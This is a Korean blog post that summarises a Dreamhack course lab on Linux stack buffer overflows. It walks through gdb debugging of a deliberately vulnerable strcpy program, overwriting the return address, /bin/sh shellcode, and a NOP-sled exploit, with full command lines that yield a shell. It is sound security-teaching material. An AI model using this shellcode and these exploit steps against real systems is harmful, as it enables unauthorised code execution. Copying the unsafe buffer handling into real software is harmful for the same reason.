혜랑's STORY

Linux Exploitation & Mitigation Part 1(1) 본문

무지성 공부방/Dreamhack SystemHacking

Linux Exploitation & Mitigation Part 1(1)

hyerang0125 2021. 1. 30. 16:16
본 포스팅은 DreamHack 사이트의 Linux Exploitation & Mitigation Part 1 강의 내용을 요약한 것이다. 강의의 주소는 다음과 같다.
 

해커들의 놀이터, Dreamhack

해킹과 보안에 대한 공부를 하고 싶은 학생, 안전한 코드를 작성하고 싶은 개발자, 보안 지식과 실력을 업그레이드 시키고 싶은 보안 전문가까지 함께 공부하고 연습하며 지식을 나누고 실력 향

dreamhack.io

1. ELF 동적 분석

ELF 동적 분석을 위한 도구로는 gdb, strace, Itrace, LDA 등이 있다. 이 강의에서는 가장 유명한 ELF 디버거인 gdb(GNU Debugger)를 사용하여 ELF 바이너리를 동적 디버깅을 하는 방법에 대하여 알아볼 것이다.

+) gdb의 디스어셈블리 문법에는 두가지 종류가 있는데 실습에 사용하는 디스어셈블리 문법은 intel이기 때문에 바꿔줘야 한다.

  • disassemble or disas : gdb에서 함수의 디스어셈블리 결과를 출력해주는 명령어
  • break or b : gdb에서 브레이크포인트를 설정하는 명령어
  • info : 디버깅 중인 프로세스의 정보를 출력해주는 명령어, 브레이크포인트가 정상적으로 설정되었는지 확인 가능
  • run or r : 프로세스를 실행시켜 주는 명령어, 브레이크보인트가 성정된 지점까지 실행
  • print or p : 레지스터나 변수의 값을 출력시켜주는 명령어
  • continue or c : 프로세스가 멈추어있는 상태에서 프로세스를 이어서 실행시켜 주는 명령어, 만약 브레이크포인트가 설정되어 있다면 다음 브레이크포인트 지점까지 프로세스를 실행
  • x : 스택 메모리를 살펴보는 명령어로 인자로 주어진 주소의 메모리를 볼 수 있음, 출력 타입을 지정하는 것도 가능
  • next or ni : 함수의 다음 인스트럭션까지 실행해주는 명령어

이외에도 많은 명령어가 있고, 앞으로 gdb는 많이 사용되기 때문에 여러 실습을 통해 익숙해지는 것이 좋다.

 

2. Return Address Overwrite

스택 버퍼 오버플로우 취약점이 있을 때에는 주로 스택의 리턴 주소를 덮는 공격을 한다. 리턴 주소는 함수가 끝나고 돌아갈 이전 함수의 주소로, 스택에 저장된 리턴 주소를 다른 값으로 바꾸면 실행 흐름을 조작할 수 있다. RET Overwrite Exploitation에서는 리턴 주소를 덮어 실행 흐름을 조작해 공격자가 원하는 코드를 실행하는 방법에 대하여 알아볼 것이다.

 

-> 예제(example1.c)

// gcc -o example1 example1.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -m32
#include <stdio.h>
int vuln(char *src) {
  
  char buf[32] = {};
  
  strcpy(buf, src);
  return 0;
}
int main(int argc, char *argv[], char *environ[]) {
  if (argc < 2){
    exit(-1);
  }
  vuln(argv[1]);
  return 0;
}
//example1.c

 

위 코드는 strcpy 함수가 피복사 버퍼에 대한 길이 검증이 이루어지지 않는다는 취약점이 있다. vuln 함수의 메모리 구조는 다음과 같다.

x86 아키텍처 호출 규약에 의해 vuln 함수가 호출되면 vuln 함수의 인자인 src 문자열 포인터가 스택에 먼저 쌓이고, 이후 vuln 하마수의 리턴 주소가 쌓이고, 함수의 프롤로그에서 ebp 레지스터를 저장한 다음 지역 변수의 공간을 할당한다.

취약점이 존재하는 vuln 함수에 bp를 설정한 후 첫 번째 인자와 함께 바이너리를 실행 해 보았다. bp에서의 스택 메모리를 보면, 첫 4바이트는 vuln 함수의 리턴 주소이고 다음 4 바이트는 vuln 함수의 인자인 argv[1]의 주소임을 알 수 있다.

(gdb) p vuln
$1 = {<text variable, no debug info>} 0x804843b <vuln>
(gdb) b*0x804843b
Breakpoint 1 at 0x804843b
(gdb) r aaaabbbbccccdddd
Starting program: ~/example1 aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllll
Breakpoint 1, 0x0804843b in vuln ()
(gdb) x/2wx $esp
0xffffd520:	0x08048494	0xffffd74a
(gdb) x/i 0x08048494
   0x8048494 <main+30>:	add    $0x4,%esp
(gdb) x/s 0xffffd74a
0xffffd74a:	"aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllll"
(gdb) 
(gdb) disas vuln
Dump of assembler code for function vuln:
   0x0804843b <+0>:	push   ebp
   0x0804843c <+1>:	mov    ebp,esp
   0x0804843e <+3>:	sub    esp,0x20
   0x08048441 <+6>:	mov    ecx,0x0
   0x08048446 <+11>:	mov    eax,0x20
   0x0804844b <+16>:	and    eax,0xfffffffc
   0x0804844e <+19>:	mov    edx,eax
   0x08048450 <+21>:	mov    eax,0x0
   0x08048455 <+26>:	mov    DWORD PTR [ebp+eax*1-0x20],ecx
   0x08048459 <+30>:	add    eax,0x4
   0x0804845c <+33>:	cmp    eax,edx
   0x0804845e <+35>:	jb     0x8048455 <vuln+26>
   0x08048460 <+37>:	push   DWORD PTR [ebp+0x8]
   0x08048463 <+40>:	lea    eax,[ebp-0x20]
   0x08048466 <+43>:	push   eax
   0x08048467 <+44>:	call   0x8048300 <strcpy@plt>
   0x0804846c <+49>:	add    esp,0x8
   0x0804846f <+52>:	mov    eax,0x0
   0x08048474 <+57>:	leave  
   0x08048475 <+58>:	ret  
End of assembler dump.
(gdb) 

 

이제 strcpy 함수가 실행되기 직전에 bp를 설정해 인자들을 살펴보자. 스택을 살펴보면 첫 번째 인자인 buf 주소와 두 번째 인자인 argv[1]의 주소가 저장되어 있는 것을 볼 수 있다.

(gdb) x/20i vuln
=> 0x804843b <vuln>:	push   ebp
   ...
   0x8048467 <vuln+44>:	call   0x8048300 <strcpy@plt>
   ...
(gdb) b *0x8048467
Breakpoint 2 at 0x8048467
(gdb) c
Continuing.
Breakpoint 2, 0x08048467 in vuln ()
(gdb) x/2wx $esp
0xffffd4f4:	0xffffd4fc	0xffffd74a

 

strcpy 함수를 실행해보면, 첫 번째 인자인 buf(0xffffd4fc)에 argv[1]의 문자열이 복사된 것을 볼 수 있다. argv[1]에 buf보다 긴 문자열을 주었기 때문에 vuln의 리턴 주소가 저장된 0xffffd520 너머까지 argv[1] 문자열이 복사된 것을 볼 수 있다.

(gdb) ni
0x0804846c in vuln ()
(gdb) x/20wx 0xffffd4fc
0xffffd4fc:	0x61616161	0x62626262	0x63636363	0x64646464
0xffffd50c:	0x65656565	0x66666666	0x67676767	0x68686868
0xffffd51c:	0x69696969	0x6a6a6a6a	0x6b6b6b6b	0x6c6c6c6c
0xffffd52c:	0xf7e1b600	0x00000002	0xffffd5c4	0xffffd5d0
0xffffd53c:	0x00000000	0x00000000	0x00000000	0xf7fb5000
(gdb) 

아래는 정말 더 긴 문자열을 대입하면 RET의 주소가 바뀌는지 확인해 볼 수 있는 실습이다.

 

+) RET Overwrite

x86 아키텍서의 ret 명령어는 esp 레지스터가 가리키고 있는 조소에 저장된 값으로 점프하는 명령어이다. vuln 함수가 리턴할 때의 esp 레지스터가 가리키고 있는 주소에는 0x6a6a6a6a가 저장되어 있고, 이후 ret 명령어가 실행되면 eip 레지스터는 0x6a6a6a6a가 된다.

(gdb) x/i 0x8048475
   0x8048475 <vuln+58>:	ret    
(gdb) b*0x8048475
Breakpoint 3 at 0x8048475
(gdb) c
Continuing.
Breakpoint 3, 0x08048475 in vuln ()
(gdb) x/wx $esp
0xffffd520:	0x6a6a6a6a
(gdb) 
(gdb) x/i $eip
=> 0x8048475 <vuln+58>:	ret    
(gdb) si
0x6a6a6a6a in ?? ()
(gdb) print $eip
$1 = (void (*)()) 0x6a6a6a6a
(gdb) 

 

스택 버퍼 오버플로우 취약점을 통해 프로그램 실행 흐름이 조작되었다. eip 레지스터를 임의의 값으로 바꿀 수 있기 떄문에 원하는 주소의 코드를 실행할 수 있다. 

익스플로잇 최종 목표는 프로그램의 실행 흐름을 조작하여 /bin/sh 혹은 셸 바이너리를 실행하는 것이다.

셸은 커맨드 라인의 명령어, 혹은 스크립트를 받아 서버에서 그에 맞는 기능을 실행시켜주는 프로그램이다.

이렇듯 프로그램의 흐름을 조작해 셸을 실행하면 본래의 프로그램이 의도치 않은 행위를 할 수 있다. 취약점이 존재하는 바이너리를 익스플로잇하여 셸 프로그램을 실행하면 해당 바이너리 권한의 셸을 획들하여 서버에 임의의 명령어를 실행 할 수도 있다.

 

+) 셸코드

eip 레지스터 값을 바꿔 원하는 주소의 기계어 코드를 실행할 수 있게 된다. 다음은 기계어 코드(shellcode.bin)이다.

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

 

+) RET Overwrite Exploitation

만들어진 셸코드를 프로그램의 인자로 전달하면 셸고크가 스택 메모리에 저장된다. 

다음으로 wuln 함수의 리턴 주소를 스택에 저장된 셸코드의 주소로 바꾸어보자.

(gdb) disas vuln
Dump of assembler code for function vuln:
   0x0804843b <+0>:	push   ebp
   0x0804843c <+1>:	mov    ebp,esp
   ...
   0x08048474 <+57>:	leave  
   0x08048475 <+58>:	ret   
End of assembler dump.
(gdb) b *0x8048475
Breakpoint 1 at 0x8048475
(gdb) r aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllll
Starting program: ~/example1 aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllll
Breakpoint 1, 0x08048475 in vuln ()
(gdb) x/i $eip
=> 0x8048475 <vuln+58>:	ret    
(gdb) x/wx $esp
0xffffd5b0:	0x6a6a6a6a
(gdb) 

 

셸코드의 주소를 확인하기 위해 argv[1]에 40 바이트 길이의 문자열을 넣어 바이너리를 실행하고, strcpy 함수를 호출하는 주소에 bp를 설정해 디버깅해보자.

(gdb) b *0x8048467
Breakpoint 1 at 0x8048467
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: ~/example1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08048467 in vuln ()
(gdb) x/2wx $esp
0xffffd4f4:	0xffffd4fc	0xffffd752
(gdb) 

 

strcpy 함수의 첫 번째 인자는 buf(0xffffd4fc)이므로 strcpy 함수가 실행된 이후 셸코드는 0xffffs4fc에 저장된다.

셸코드의 실이는 23바이트이므로 공격코드는 다음과 같이 구성된다.

셸코드 + 임의의 13바이트 + 0xffffd4fc
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80" + "\x90”*13 + “\xfc\xd4\xff\xff”

 

이 공격 코드를 argv[1]에 넣어 프로그램을 실행해 보자.

$ gdb -q ./example1
Reading symbols from ./example1...(no debugging symbols found)...done.
(gdb) r python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"+"A"*13+"\xfc\xd4\xff\xff"'
Starting program: ~/example1 python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"+"A"*13+"\xfc\xd4\xff\xff"'
process 88433 is executing new program: /bin/dash
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)

 

리턴 주소가 셸코드 주소로 바뀌어 셸이 실행되는 것을 볼 수 있다. 이제 만들어진 공격 코드를 gdb가 아닌 셸 환경에서실행해 보자.

$ ./example1 python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"+"A"*13+"\xfc\xd4\xff\xff"'
[1]    88636 segmentation fault (core dumped)  ./example1 
$ 

 

셸을 획득하지 못하고 프로그램이 비정상 종료되었다. 위 익스플로잇 코드에서는 리턴 주소를 스택에 있는 셸코드의 주소로 덮지만, 익스폴로잇이 제대로 동작하지 않는 이유는 스택의 셸코드의 주소가 바뀌었기 때문이다. 프로그램을 다른 호한경에서 실행시킬 때 지역 변수의 주소는 스택 끝에 존재하는 프로그램의 인자와 환경변수에 따라 변한다.

본 예시의 gdb와 셸에서 지역 변수 주소가 다른 이유는 실행 파일의 경로가 각각 절대 경로와 상대 결로로 다르기 때문이다.

gdb는 프로그램을 실행할 때 실행 파일의 절대경로를 argv[0]에 저장하지만, 셸에서 프로그램을 실행할 때는 사용자가 입력한 경로가 argv[0]에 저장된다. 그렇기 때문에 스택 주소에 약간의 오차가 생겨도 익스플로잇이 성공할 수 있도록 공격 코드를 수정할 필요가 있다.

 

3. NOP Sled

NOP는 "No OPeration"의 약자로 명령어 중 하나이다. NOP는 xchg eax, eax와 같이 프로그램의 실행에 영향을 주지 않는 명령어이기 떄문에 프로그램이 실행 중에 NOP 명령어를 만나면 다음 명령어로 넘어가는 것과 같은 효과를 준다. NOP는 주로 명령어 주소의 alignment를 맞출 때 사용된다.

x86 아키텍처의 NOP 명령어 바이트코드는 0x90이다.

NOP는 주로 셸코드의 주소를 정확히 알아내기 힘들 경우 큰 메모리를 확보하여 셸코드 주소의 오차범위를 크게 만들 때 사용한다.

예를 들어, 0x100 주소에 셸코드가 저장되어 있다고 가정해보자. 만약 NOP가 없다면 정확히 0x100 주소로 실행 흐름을 바꿔야 셸코드가 실행된다. 그러나 셸코드 앞에 0x10000 바이크의 NOP를 붙인다면 0x100 ~ 0x10100 주소로 실행 흐름을 바꾸기만 하면 된다. NOP의 어딘가의 주소를 알아내 달라진 환경에서 해당 주소로 실행 흐름을 바꾸는 경우 평균적으로 0x10000/2 만큼의 주소 오차가 허용된다.

NOP는 익스플로잇 확률을 올리는 데 큰 도움이 된다.

 

+) Exploitation Using NOP Sled

이제 NOP를 이용해 새로운 공격 코드를 만들어 보자. 10000 바이트의 NOP Sled가 포함된 셸코드를 프로그램의 argv[1]에 넣은 후 gdb를 이용해 NOP의 중간 지점의 주소를 찾아보도록 하자.

$ gdb -q ./example1
Reading symbols from ./example1...(no debugging symbols found)...done.
(gdb) disas vuln
Dump of assembler code for function vuln:
   0x0804843b <+0>:	push   ebp
   0x0804843c <+1>:	mov    ebp,esp
   0x0804843e <+3>:	sub    esp,0x20
   0x08048441 <+6>:	mov    ecx,0x0
   0x08048446 <+11>:	mov    eax,0x20
   0x0804844b <+16>:	and    eax,0xfffffffc
   0x0804844e <+19>:	mov    edx,eax
   0x08048450 <+21>:	mov    eax,0x0
   0x08048455 <+26>:	mov    DWORD PTR [ebp+eax*1-0x20],ecx
   0x08048459 <+30>:	add    eax,0x4
   0x0804845c <+33>:	cmp    eax,edx
   0x0804845e <+35>:	jb     0x8048455 <vuln+26>
   0x08048460 <+37>:	push   DWORD PTR [ebp+0x8]
   0x08048463 <+40>:	lea    eax,[ebp-0x20]
   0x08048466 <+43>:	push   eax
   0x08048467 <+44>:	call   0x8048300 <strcpy@plt>
   0x0804846c <+49>:	add    esp,0x8
   0x0804846f <+52>:	mov    eax,0x0
   0x08048474 <+57>:	leave  
   0x08048475 <+58>:	ret    
End of assembler dump.
(gdb) b *0x08048467
Breakpoint 1 at 0x8048467
(gdb) r python -c 'print "A"*36+"RETN"+"\x90"*100000+"SHELLCODE"'
Starting program: ~/example1 python -c 'print "A"*36+"RETN"+"\x90"*100000+"SHELLCODE"'
Breakpoint 1, 0x08048467 in vuln ()
(gdb) x/2wx $esp
0xfffe4e54:	0xfffe4e5c	0xfffe50a9
(gdb) x/40wx 0xfffe50a9
0xfffe50a9:	0x41414141	0x41414141	0x41414141	0x41414141
0xfffe50b9:	0x41414141	0x41414141	0x41414141	0x41414141
0xfffe50c9:	0x41414141	0x4e544552	0x90909090	0x90909090
0xfffe50d9:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffe50e9:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffe50f9:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffe5109:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffe5119:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffe5129:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffe5139:	0x90909090	0x90909090	0x90909090	0x90909090
(gdb) 

 

vuln 함수에서 strcpy 함수를 호출하는 시점에 bp를 설정해 복사 버퍼인 argv[1]의 주소인 0xfffe50a9를 알아내었다. 다음으로 NOP Sled 중간 지점의 주소 argv1 + 50000를 계산해 보자.

(gdb) p/x 0xfffe50a9 + 50000
$3 = 0xffff13f9
(gdb)

 

NOP Sled 중간 지점 주소는 0xffff13f9이다. 이 주소를 이용한 새로운 공격 코드는 아래와 같이 구성할 수 있다.

"A" * 36 + 0xffff13f9 + "\x90" * 100000 + shellcode

 

만들어진 공격 코드를 이용해 익스플로잇을 시도해보자.

$ ./example1 python -c 'print "A"*36 + "\xf9\x13\xff\xff" + "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"'
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
$ 

 

성공적으로 셸이 실행 되었다.